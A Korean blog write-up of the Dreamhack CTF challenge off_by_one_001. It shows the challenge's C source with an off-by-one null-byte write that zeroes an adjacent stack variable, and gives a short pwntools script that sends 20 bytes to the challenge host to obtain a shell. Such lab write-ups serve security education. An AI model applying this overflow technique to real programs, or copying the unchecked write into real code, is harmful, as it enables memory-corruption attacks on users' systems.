Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 |
Tags
- off_by_one_001
- 코드엔진 베이직
- sint
- RCE
- CodeEngn
- rev-basic-0
- L18
- rev-basic-6
- off_by_one_000
- rev-basic-2
- 포너블
- Dreamhack
- sd카드 리더기
- coin1
- L16
- 코드엔진 베이직 13
- L15
- rev-basic-7
- rev-basic-3
- out_of_bound
- 드림핵
- basic_exploitation_001
- Basic
- rev-basic-1
- L17
- basic_exploitation_000
- Pwnable
- pwnable.kr
- rev-basic-5
- rev-basic-4
Archives
- Today
- Total
서브웨이
dreamhack off_by_one_001 풀이 본문
이전 문제와 비슷한 유형일 것 같습니다.
일단 소스코드를 봅시다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}
역시나 비슷한 예제입니다.
일단 name 변수에 read_str 함수로 입력을 받고 age가 0이면 쉘을 실행합니다.
read_str 함수에서는 20만큼 입력을 받아서 이미 취약한 코드에 ptr에 20번째에 굳이 \0를 넣음으로써 확인사살을 해줍니다.
그럼 아무 값이나 넣어도 일단 name변수 다음 4바이트의 마지막 바이트는 0으로 조작이 될 것 같습니다.
어셈블리코드를 봅시다.
name 문자열은 ebp-0x18에, age 변수는 ebp-0x4에 위치하네요.
그럼 그냥 입력값에 아무값이나 20개를 보내면 name의 바로 다음에 위치한 age 변수의 1바이트가 0으로 조작됩니다.
익스플로잇 코드는... 다음과 같이 간단합니다.
from pwn import *
p = remote('host1.dreamhack.games', 23758)
payload = b'A'*20
p.recvuntil('Name: ')
p.send(payload)
p.interactive()
'Pwnable > dreamhack' 카테고리의 다른 글
dreamhack sint 풀이 (0) | 2021.07.27 |
---|---|
dreamhack out_of_bound 풀이 (0) | 2021.07.27 |
dreamhack off_by_one_000 풀이 (0) | 2021.07.27 |
dreamhack welcome 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_003 풀이 (0) | 2021.07.20 |
Comments